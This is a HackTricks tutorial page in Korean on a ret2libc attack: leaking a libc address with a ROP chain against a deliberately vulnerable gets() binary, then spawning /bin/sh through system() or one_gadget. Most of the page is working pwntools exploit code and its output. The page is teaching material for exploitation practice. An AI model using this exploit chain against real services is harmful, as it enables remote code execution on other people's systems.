Leaking libc address with ROP

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

간단 요약

  1. 오버플로우 오프셋 찾기

  2. POP_RDI 가젯, PUTS_PLTMAIN 가젯 찾기

  3. 이전 가젯을 사용하여 puts 또는 다른 libc 함수의 메모리 주소를 유출하고 libc 버전 찾기 (다운로드하기)

  4. 라이브러리를 사용하여 ROP를 계산하고 이를 이용해 익스플로잇하기

연습할 다른 튜토리얼 및 바이너리

이 튜토리얼은 다음 튜토리얼에서 제안된 코드/바이너리를 익스플로잇할 것입니다: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ 또 다른 유용한 튜토리얼: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

코드

파일 이름: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - LIBC 유출 템플릿

익스플로잇을 다운로드하고 취약한 바이너리와 동일한 디렉토리에 배치한 후 스크립트에 필요한 데이터를 제공하십시오:

Leaking libc - template

1- 오프셋 찾기

템플릿은 익스플로잇을 계속 진행하기 전에 오프셋이 필요합니다. 제공된 경우, 필요한 코드를 실행하여 오프셋을 찾습니다(기본값 OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

실행 python template.py 하면 프로그램이 충돌하는 GDB 콘솔이 열립니다. 그 GDB 콘솔 안에서 x/wx $rsp를 실행하여 RIP를 덮어쓸 바이트를 가져옵니다. 마지막으로 python 콘솔을 사용하여 오프셋을 가져옵니다:

from pwn import *
cyclic_find(0x6161616b)

오프셋(이 경우 40)을 찾은 후, 해당 값을 사용하여 템플릿 내의 OFFSET 변수를 변경합니다. OFFSET = "A" * 40

또 다른 방법은: pattern create 1000 -- ret까지 실행 -- pattern seach $rsp를 GEF에서 사용하는 것입니다.

2- 가젯 찾기

이제 바이너리 내에서 ROP 가젯을 찾아야 합니다. 이 ROP 가젯은 puts를 호출하여 사용 중인 libc를 찾고, 나중에 최종 익스플로잇을 실행하는 데 유용합니다.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT함수 puts를 호출하는 데 필요합니다. MAIN_PLT오버플로우를 다시 이용하기 위해 한 번의 상호작용 후 main 함수를 다시 호출하는 데 필요합니다 (무한한 공격 라운드). 각 ROP의 끝에서 프로그램을 다시 호출하는 데 사용됩니다. POP_RDI는 호출된 함수에 매개변수전달하는 데 필요합니다.

이 단계에서는 pwntools가 실행 중에 모든 것을 찾기 때문에 아무것도 실행할 필요가 없습니다.

3- libc 라이브러리 찾기

이제 어떤 버전의 libc 라이브러리가 사용되고 있는지 찾을 시간입니다. 그렇게 하기 위해 우리는 함수 puts의 메모리 내 주소leak한 다음, 해당 주소에서 puts 버전이 포함된 라이브러리 버전검색할 것입니다.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

이렇게 하려면 실행된 코드에서 가장 중요한 줄은:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

이것은 RIP덮어쓰기 할 수 있을 때까지 몇 바이트를 전송할 것입니다: OFFSET. 그런 다음, 주소POP_RDI 가젯으로 설정하여 다음 주소(FUNC_GOT)가 RDI 레지스트리에 저장되도록 합니다. 이는 우리가 puts를 호출하고 PUTS_GOT주소를 전달하기를 원하기 때문입니다. puts 함수의 메모리 주소는 PUTS_GOT가 가리키는 주소에 저장됩니다. 그 후, PUTS_PLT가 호출될 것이며( RDI 안에 PUTS_GOT가 포함됨) puts는 PUTS_GOT 안의 내용읽고 (메모리에서 puts 함수의 주소) 출력할 것입니다. 마지막으로, main 함수가 다시 호출되어 우리는 오버플로우를 다시 이용할 수 있습니다.

이렇게 우리는 puts 함수속여서 메모리에서 puts 함수의 주소출력하게 했습니다(이는 libc 라이브러리 안에 있습니다). 이제 그 주소를 알았으니 어떤 libc 버전이 사용되고 있는지 검색할 수 있습니다.

우리가 로컬 바이너리를 악용하고 있기 때문에 어떤 libc 버전이 사용되고 있는지 알아낼 필요는 없습니다(단지 /lib/x86_64-linux-gnu/libc.so.6에서 라이브러리를 찾으면 됩니다). 하지만 원격 익스플로잇의 경우, 여기서 어떻게 찾을 수 있는지 설명하겠습니다:

3.1- libc 버전 검색 (1)

웹 페이지에서 어떤 라이브러리가 사용되고 있는지 검색할 수 있습니다: https://libc.blukat.me/ 발견된 libc 버전을 다운로드할 수도 있습니다.

3.2- libc 버전 검색 (2)

다음과 같이 할 수도 있습니다:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

이 작업은 시간이 걸릴 수 있으니 인내심을 가지세요. 이 작업이 작동하려면 다음이 필요합니다:

  • Libc 심볼 이름: puts

  • 유출된 libc 주소: 0x7ff629878690

우리는 어떤 libc가 사용되고 있는지 알아낼 수 있습니다.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

We get 2 matches (you should try the second one if the first one is not working). Download the first one: 우리는 2개의 일치를 얻습니다(첫 번째가 작동하지 않으면 두 번째를 시도해야 합니다). 첫 번째 것을 다운로드하세요:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so에서 libc를 우리의 작업 디렉토리로 복사합니다.

3.3- 누출할 다른 함수들

puts
printf
__libc_start_main
read
gets

4- Finding based libc address & exploiting

이 시점에서 우리는 사용된 libc 라이브러리를 알아야 합니다. 로컬 바이너리를 익스플로잇하고 있으므로 나는 단지:/lib/x86_64-linux-gnu/libc.so.6를 사용할 것입니다.

따라서 template.py의 시작 부분에서 libc 변수를 다음으로 변경하십시오: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it

libc 라이브러리경로를 제공하면 나머지 익스플로잇은 자동으로 계산됩니다.

get_addr 함수 내에서 libc의 기본 주소가 계산될 것입니다:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

최종 libc 기본 주소는 00으로 끝나야 합니다. 그렇지 않은 경우 잘못된 라이브러리를 유출했을 수 있습니다.

그런 다음, 함수 system의 주소와 문자열 _"/bin/sh"_의 주소libc기본 주소에서 계산되어 libc 라이브러리에 제공됩니다.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

마지막으로, /bin/sh 실행 익스플로잇이 준비될 것입니다:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Let's explain this final ROP. 마지막 ROP(rop1)은 다시 main 함수를 호출하며 끝났습니다. 그러므로 우리는 다시 공격할 수 있습니다 오버플로우(그래서 OFFSET이 여기 다시 있는 것입니다). 그런 다음, 우리는 POP_RDI를 호출하여 주소"/bin/sh"(BINSH)로 지정하고 system 함수(SYSTEM)를 호출하고자 합니다. 왜냐하면 _"/bin/sh"_의 주소가 매개변수로 전달될 것이기 때문입니다. 마지막으로, exit 함수의 주소호출되어 프로세스가 정상적으로 종료되고 어떤 경고도 생성되지 않습니다.

이렇게 하면 익스플로잇이 _/bin/sh_** 셸을 실행합니다.**

4(2)- USING ONE_GADGET

대신 system과 **"/bin/sh"**를 사용하는 대신 ONE_GADGET를 사용하여 셸을 얻을 수도 있습니다. ONE_GADGET는 libc 라이브러리 내에서 단 하나의 ROP 주소만으로 셸을 얻는 방법을 찾습니다. 그러나 일반적으로 몇 가지 제약이 있으며, 가장 일반적이고 피하기 쉬운 것은 [rsp+0x30] == NULL입니다. RSP 내부의 값을 제어하므로 제약을 피하기 위해 추가적인 NULL 값을 보내기만 하면 됩니다.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FILE

이 취약점을 이용하기 위한 템플릿은 여기에서 찾을 수 있습니다:

Leaking libc - template

Common problems

MAIN_PLT = elf.symbols['main'] not found

"main" 심볼이 존재하지 않는 경우, 메인 코드가 어디에 있는지 찾을 수 있습니다:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

그리고 주소를 수동으로 설정합니다:

MAIN_PLT = 0x401080

Puts not found

이진 파일이 Puts를 사용하지 않는 경우 다음을 확인해야 합니다.

sh: 1: %s%s%s%s%s%s%s%s: not found

모든 익스플로잇을 생성한 후 이 오류를 발견하면: sh: 1: %s%s%s%s%s%s%s%s: not found

"/bin/sh"의 주소에서 64 바이트를 빼보세요:

BINSH = next(libc.search("/bin/sh")) - 64

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

Last updated